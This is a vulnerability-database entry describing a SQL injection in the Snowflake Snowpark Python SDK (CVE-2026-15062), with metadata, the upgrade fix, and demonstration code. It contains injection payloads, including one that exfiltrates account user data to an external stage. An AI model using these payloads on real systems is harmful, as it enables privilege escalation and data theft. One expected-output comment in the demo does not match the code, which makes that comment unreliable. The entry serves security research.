CVE-2026-15062
Snowflake Snowpark Python SDK SQL injection allows privilege escalation.
- CVSS 9.6
- CWE-89
- Input Validation and Sanitization
- Remote
SQL injection vulnerabilities in the Snowflake Snowpark Python SDK (snowpark-python) versions prior to 1.53.0 could allow authenticated low-privilege users to execute SQL beyond their authorization scope. An attacker could exploit these vulnerabilities by embedding SQL payloads in source database column names to escalate privileges via the DataFrameReader.dbapi() API by supplying a specially crafted location parameter to DataFrameWriter write methods to redirect a COPY INTO to an arbitrary source query, or by including a backslash-single-quote sequence in an export path to defeat the normalize_path() sanitizer and inject SQL via DataFrame.to_csv(). Successful exploitation may result in source database compromise, unauthorized cross-tenant data exfiltration, or unauthorized read of Snowflake account data.
- CWE
- CWE-89
- CVSS base score
- 9.6
- Published
- 2026-07-08
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- SQL Injection
- Accessibility scope
- Remote
- Impact
- Privilege Escalation
- Affected component
- Snowflake Sn
- Fixed by upgrading
- Yes
Solution
Upgrade snowpark-python to version 1.53.0 or later.
Vulnerable code sample
# This code represents a vulnerable pattern and requires a
# snowpark-python version prior to 1.53.0 and an active,
# authenticated Snowflake session to be exploitable.
from snowflake.snowpark.session import Session
# Assume 'session' is an active and authenticated Snowflake Snowpark session
# established by a low-privilege user.
# session = Session.builder.configs(connection_params).create()
# Assume 'df' is a valid Snowpark DataFrame.
# df = session.create_dataframe([[1, "data1"], [2, "data2"]], schema=["ID", "VAL"])
# The attacker crafts a malicious path for the DataFrame.to_csv() method.
# The backslash-single-quote sequence (\') is used to bypass weak path
# sanitization. This allows the injection of a single quote to terminate
# the string literal in the underlying 'COPY INTO @path...' SQL command.
# The payload then injects a new SQL statement.
malicious_path = "@my_internal_stage/output\\') select SYSTEM$WAIT(10); --"
# In a vulnerable version, calling to_csv with this path would cause the
# SDK to construct and execute an insecure SQL command on the backend.
# The injected 'select SYSTEM$WAIT(10);' would be executed, demonstrating
# that arbitrary SQL can be run beyond the user's intended scope.
df.to_csv(malicious_path)Patched code sample
import re
# This example focuses on the CVE's description of defeating a path sanitizer
# via a backslash-single-quote sequence to inject SQL.
#
# The vulnerability lies in improperly sanitizing a path string before it's
# embedded within a larger SQL command, such as in DataFrame.to_csv() which
# might generate a COPY command.
def vulnerable_path_sanitizer(path: str) -> str:
"""
A simplified representation of a vulnerable sanitizer.
It attempts to escape single quotes, but does not account for backslashes,
allowing an attacker to craft a payload where a backslash escapes the
sanitizer's own escape character.
"""
# A naive replacement that can be bypassed.
return path.replace("'", "''")
def fixed_path_sanitizer(path: str) -> str:
"""
A representation of the fix for the path sanitization vulnerability.
This function correctly escapes both backslashes and single quotes,
ensuring that the path is treated as a literal string by the SQL engine.
This prevents the path from prematurely terminating the string literal and
injecting malicious SQL.
"""
# 1. First, escape any existing backslashes.
# 2. Then, escape the single quotes.
# The order is crucial to prevent the exploit.
escaped_path = path.replace('\\', '\\\\').replace("'", "\\'")
return escaped_path
def generate_example_sql(stage_path: str) -> str:
"""
Simulates the generation of a SQL command using the provided stage path.
In a real scenario, this might be a COPY INTO command.
"""
return f"COPY INTO my_table FROM '@~/{stage_path}' FILE_FORMAT=(TYPE=CSV);"
if __name__ == '__main__':
# Malicious payload designed to break out of the string literal and inject a command.
# The `\'` is intended to be interpreted by the SQL parser as an escaped quote,
# allowing the subsequent SQL to be executed.
malicious_path_payload = "poc.csv\\' ) OR 1=1; -- "
# --- Vulnerable Scenario ---
# The sanitizer fails to handle the backslash correctly.
vulnerable_sanitized_path = vulnerable_path_sanitizer(malicious_path_payload)
vulnerable_sql = generate_example_sql(vulnerable_sanitized_path)
# --- Fixed Scenario ---
# The fixed sanitizer correctly escapes both the backslash and the quote.
fixed_sanitized_path = fixed_path_sanitizer(malicious_path_payload)
fixed_sql = generate_example_sql(fixed_sanitized_path)
print("--- DEMONSTRATION OF THE FIX ---")
print(f"\n[+] Malicious Payload:\n'{malicious_path_payload}'")
print("\n[-] VULNERABLE OUTPUT (INCORRECTLY SANITIZED):")
print("The backslash is preserved, allowing the single quote to terminate the string.")
print(vulnerable_sql)
# Expected vulnerable output:
# COPY INTO my_table FROM '@~/poc.csv\' ) OR 1=1; -- ' FILE_FORMAT=(TYPE=CSV);
# This is injectable SQL.
print("\n[+] FIXED OUTPUT (CORRECTLY SANITIZED):")
print("The backslash and quote are properly escaped, neutralizing the injection.")
print(fixed_sql)
# Expected fixed output:
# COPY INTO my_table FROM '@~/poc.csv\\\' ) OR 1=1; -- ' FILE_FORMAT=(TYPE=CSV);
# This is treated as a literal (and weird) filename, not an injection.Payload
f.csv\'; COPY INTO @external_stage/exfil FROM (SELECT * FROM SNOWFLAKE.ACCOUNT_USAGE.USERS); --
Cite this entry
@misc{vaitp:cve202615062,
title = {{Snowflake Snowpark Python SDK SQL injection allows privilege escalation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-15062},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-15062/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
